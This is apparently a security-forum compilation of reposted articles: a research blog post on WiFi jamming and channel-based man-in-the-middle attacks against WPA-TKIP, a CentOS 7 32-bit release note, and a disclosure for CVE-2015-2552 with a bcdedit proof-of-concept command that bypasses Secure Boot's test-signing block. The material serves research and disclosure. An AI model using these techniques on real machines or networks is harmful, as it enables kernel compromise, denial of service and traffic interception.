works perfectly! Certutil implementations: https://technet.microsoft.com/en-us/library/cc732443.aspx For converting the python files into a windows executable: https://www.py2exe.org To have a standalone executable with all the DLLs and libraries wrapped into a single file: http://www.py2exe.org/index.cgi/SingleFileExecutable Sursa: https://www.notsosecure.com/2015/10/15/icmp-tunnels-a-case-study/

Advanced WiFi Attacks Using Commodity Hardware The WiFi protocol assumes all clients behaves fairly. This means a station will give others a chance to transmit packets, before it starts transmitting itself. It's known that with a software defined radio such as a USRP, a user can implement the WiFi protocol themselves and not follow these rules. A desktop computer, antenna, two USRPs on top of each other, and a signal analyzer. An attacker can also use this equipment to create a constant jammer, which continuously transmits noise, and makes the channel completely unusable. In principle an attacker could also turn on a badly shielded microwave to jam the channel However, that doesn't give the attacker control over which frequency is jammed, bandwidth of the emitted noise, nor the emitted noise pattern. It's even possible to implement a more sophisticated selective jammer. Such a jammer is capable of only jamming specific packets (e.g. only packets sent by a certain device). While it's already known this is possible using expensive hardware such as USRPs, we found that even cheap WiFi dongles can be used to implement all these attacks. It's especially surprising that a selective jammer can be implemented on a cheap WiFi dongle, since it must be fast enough to detect and subsequently jam a packet. Our attacks were first published at ACSAC 2014 and subsequently demonstrated at BruCON 2015. Additionally our code is available on github! You can also online.Selfish Behavior When a station wants to transmit a packet, but the channel is already in use by another device, it first waits until this transmission is done. Then it waits a random period (called the backoff period), and if no one else starts transmitting during this period, the station may send the packet. We found that it's easy to disable the random backoff period on commodity devices, meaning it will instantly transmit packets. More interestingly, we found that even the original driver and firmware for our device incorrectly calculated the backoff period, giving itself an unfair advantage over other stations! It turns out that many devices do this to gain an unfair advantage: Over six Wi-Fi cards, neither one performs as expected. In some cases, implementation issues seem to affect the proper card operation. In other cases, manufacturers rely on backoff parameters different from the standard specification, this perhaps being done on purpose to provide an unfair advantage. [Minimized conclusion from this paper] This raises the question what would happen if there are two stations that both behave selfishly by disabling the backoff period. In other words, what happens if two selfish stations instantly transmit all packets they have queued? You may think that the packets of both selfish stations will collide, and as a result both are lost in the collision. It turns out this is not the case! Due to the capture effect, the packet having the highest signal quality and lowest bitrate will get decoded properly. You can compare this to receiving two radio stations on the same frequency, where generally one station will "win the collision" ( ). This means selfish stations will abuse the capture effect, and reduce their bitrate, in order to win the collision (and have their packet decoded correctly by the receiver). Surprisingly, we now get that selfish clients wanting to maximize their throughput, will reduce their bitrate! One of our WiFi dongles attached to a Raspberry Pi There is a research prototype called DOMINO which can detect and punish this type of selfish behavior. Unfortunately we discovered a critical flaw in this system. The problem is that this system bases some of its decisions on unauthenticated packets. As an attacker we can abuse this by forging packets which appear to be sent by a different station. Hence we can make DOMINO believe this client is acting selfishly, meaning it will be punished and thrown off the network. Moral of the story: only base your decisions on authenticated or hard-to-forge data. Constant Jammer Our WiFi dongles can also be used to implement a constant jammer. The idea is straightforward: make the radio instantly transmit packets (even if someone else is transmitting), and then send an infinite amount of packets without interruption. The second part is tedious, since we can't queue many packets due to the limited amount of memory available in the WiFi dongle. However, we can simulate an infinite amount of packets. The packets queued for transmission are stored in a linked list. By turning this queue into a circular list we can simulate an infinite amount of packets. What's interesting here is that in principle the jammer is constantly transmitting valid WiFi packets. However, because they are sent so fast after one another, other WiFi devices are unable to detect these packets. In other words, other WiFi devices operating in monitor mode only see noise, and will not detect/show and show any WiFi traffic. Selective Jammer Arguably the most impressive result is that our cheap dongle can be used to implement a selective (also called reactive) jammer. Such a jammer decodes the header of a packet still in the air, and based on information in the header, decides whether to jam the remaining content or not. This is not an easy feat to accomplish. The selective jammer must be fast enough to decode the header, make the decision to jam the packet, put the antenna in transmit mode, and finally jam the packet. All this needs to be done in just a few microseconds (an average WiFi packet takes ~200 microseconds to transmit)! Jamming the end of the packet is easy, simply inject a packet like we did for the continuous jammer. But there is no support or API to be notified when a packet is in the progress of being received. How do we get around this? The important realization is that there are two chips inside our WiFi device. The first one is the radio which processes the incoming physical signal, and uses Direct Memory Access (DMA) to write the packet to memory. The second chip is the main CPU which is responsible for communicating with the host over USB and controlling the radio chip. Hence we can use the main CPU to constantly monitor the memory where the packet will be saved. Once we detect that the radio chip is writing bytes to this memory location, we know a frame is being received: When the memory is modified, we know a frame is being received. With this clever trick we can detect when a frame is being received. Our jammer then reads the MAC address(es) in the header, and compares it to the MAC address of the station we are targeting. If they match, the remaining content of the packet is jammed. This will cause the CRC (called the ICV in WiFi) of the packet to be wrong, meaning the packet will be dropped by the receiver. The code of the reactive jammer is public, feel free to play around with it (against a test network). Channel-Based Man-in-the-Middle Attack As an example, we show how these low-layer attacks can be used to reliably manipulate encrypted traffic. Note that our goal is not to decrypt traffic. Instead, we want to be able to reliably drop, modify, and inject packets. This ability is typically required in order to launch actual (cryptographic) attacks against an higher-layer protocol. Previously when targeting wireless traffic, it was not clear how to do this: there were no known methods to obtain a (reliable) man-in-the-middle position between a client and access point if encryption is used. In order to intercept (not decrypt) all traffic of an encrypted wireless network, we cannot simply create a rogue Access Point (AP) with a different MAC address. When a client connects to the access point, not only are the credentials verified (e.g. shared password), but also the MAC addresses of the client and access point. Hence the client and AP will detect that an attacker was forwarding packets under different MAC addresses. Setting up a rouge AP with the same mac address as the real AP is futile: the client will simply directly communicate with the real AP (unless they are out of range of each other). Our solution is to clone the access point on a different channel, but with the same MAC address as the real access point. We forward all frames to the real AP. In other words, we forward packets between both channels. Using the constant jammer we force clients to switch to the channel where our rogue AP is located. Since we did not modify the MAC address of the AP, and also didn't modify the MAC address of the client, the client will successfully connect to the (rogue) AP. We now have a (channel-based) man-in-the-middle position, allowing reliable manipulation of encrypted traffic. Demonstration of the Channel-Based MiTM attack against WPA-TKIP The channel-based man-in-the-middle attack can be used to break WPA-TKIP (people commonly, but incorrectly, refer to TKIP as WPA, and EAS-CCMP as WPA2). The TKIP protocol was supposed to be a temporarily replacement of WEP, designed to run on old hardware. Unfortunately, for backwards compatibility, many networks still support both TKIP and the newer EAS-CCMP. If both these protocols are supported, the older TKIP protocol is used to encrypt all broadcast packets. Without going into detail, the channel-based man-in-the-middle allows us to apply existing TKIP attacks to broadcast packets. Hence you should configure your network so only (EAS-)CCMP is enabled! Geplaatst door Mathy op 00:28 Sursa: http://www.mathyvanhoef.com/2015/10/advanced-wifi-attacks-using-commodity.html

CentOS 7 Linux OS Has Been Officially Released for the 32-Bit (i386) Architecture By Marius Nestor 15 Oct 2015, 05:35 GMT The final release of the CentOS Linux 7 32-bit distribution After being in development for quite a few months now, the port of the CentOS 7 Linux operating system to 32-bit (i686/x86) hardware architectures has been finalized earlier this week. Johnny Hughes has had the great pleasure of announcing the general availability of CentOS Linux 7 for the x86 (i386/32-bit) architectures, which is currently distributed on the official CentOS mirrors as an installable-only DVD ISO image, a Net Install ISO image, an Everything ISO image, as well as a minimal ISO image that includes a basic amount of packages. "We would like to announce the general availability of CentOS Linux 7 for the 32-bit x86 (i386) architecture," says Johnny Hughes. "This is the first major release of the 32 bit x86 by the AltArch Special Interest Group. This release is based on the Source Code from the CentOS 7 (1503) x86_64 architecture and includes all current updates from the main CentOS 7 tree." Users who want to install the CentOS 7 Linux operating system on 32-bit hardware are informed by the developers that the install process is identical with the one of the 64-bit version. Also, they should be aware of two known issues, installation on QEMU (KVM) i386 virtual machines requires the activation of the "Copy Host CPU" option, and the inability of exiting the GNOME desktop environment using the menu. Download CentOS Linux 7 for 32-bit architectures right now from Softpedia. Sursa: CentOS 7 Linux OS Has Been Officially Released for the 32-Bit (i386) Architecture - Softpedia

Vulnerability title (Microsoft): Trusted Boot Security Feature Bypass VulnerabilityCVE: CVE-2015-2552 Vendor: Microsoft Product: Windows NT series 8.0+ Affected versions: See "systems affected". Reported by: "Myria" Vulnerability Summary: ===================== An attacker with administrative access to a Windows machine with UEFI Secure Boot enabled may bypass code signing policy checks by putting intentionally- malformed configuration options in the boot configuration database (BCD). Vulnerability Details: ===================== On a Windows system with Secure Boot enabled, Windows doesn't correctly protect against attempts to enable features that are prohibited while UEFI Secure Boot is enabled, such as "test-signing" and the local kernel debugger. This allows things such as loading unsigned kernel drivers, or, in locked-down Windows installations like Windows RT, effect a "jailbreak". In Windows Vista and later, the boot configuration database ("BCD") is a registry hive used by the operating system boot loader to load and prepare the NT kernel (ntoskrnl.exe) for launch. In UEFI systems, this task is split between bootmgr.efi and winload.efi. The latter is what contains this vulnerability. One of winload.efi's responsibilities is to take the settings in BCD and translate them to a simple command line for the kernel, similarly to Linux. When an attempt to enable a prohibited feature such as "test-signing" occurs the standard way, winload.efi will block the attempt by not passing the "/TESTSIGNING" command-line option to the NT kernel. The BCD setting named "loadoptions" allows passing arbitrary kernel command line arguments to the NT kernel. An obvious attack would be to attempt to pass "/TESTSIGNING" by putting it into the "loadoptions" field. winload.efi counters this obvious attack by checking against a blacklist of strings, but fails to account for Unicode. BCD, being a registry hive, stores all strings as UTF-16. To search for the prohibited strings, winload.efi calls wcsstr(). However, ntoskrnl.exe takes its command line as ASCII bytes. To do the conversion from Unicode to ASCII, winload.efi simply truncates each UTF-16 code point to 8 bits. The bug is then simple: winload.efi is checking against pre-transformed data, while ntoskrnl.exe is checking post-transformed data. By replacing character(s) of a blacklisted string with Unicode characters that become the original character(s) when truncated to 8 bits, one can get past the wcsstr() check while still passing the desired parameter to the kernel. Proof of Concept: ================ In an Administrator-privileged instance of PowerShell, execute the following command, then reboot: bcdedit /set '{current}' loadoptions '/T_STSIGNING' replacing "_" with the Unicode character U+0145 ("Latin Capital Letter N With Cedilla"). The machine will come back up with test-signing enabled, which can be seen by the watermark in the lower-right corner of the desktop. Impact: ====== Users or programs with administrative access to a machine can escalate to kernel privilege by loading unsigned drivers, or using the kernel debugger to poke at kernel memory and gain arbitrary code execution. Users can intentionally use this on their own devices to bypass lockdowns for certain products (Windows Phone, Windows RT). Mitigating Factors: ================== - The attack requires administrative access. - A watermark appears when this is enabled, but this is bypassable. No public attack against systems for which the owner does not want the exploit is known. Systems affected: ================ UEFI systems with Secure Boot enabled running the following: Windows 8 Windows 8.1 Windows Server 2012 Windows Server 2012 R2 Windows 10 Windows Server 2016 Technical Preview Windows RT 8.0 Windows RT 8.1 Windows Phone 8 Windows Phone 8.1 Windows Mobile 10 Preview Advisory: ======== https://technet.microsoft.com/en-us/library/security/ms15-111.aspx Solution: ======== Install KB3088195. https://support.microsoft.com/en-us/kb/3096447 (mismatched number intentional) Disclosure Timeline: =================== Discovery: Approximately summer 2013 Vendor notification: Unknown Vendor fixed vulnerability: October 13, 2015 Public advisory: October 13, 2015 Public disclosure: October 13, 2015 The author, the original discoverer, did not report it. The author believes that the disclosure happened in approximately spring 2015. Sursa: [CVE-2015-2552] Windows 8+ - Trusted Boot Bypass - Pastebin.com

"The spam emails sent included some suggesting that a package had been sent" Am primit si eu o gramada de mail-uri ca as fi primit ceva de la FedEx. Nu primisem.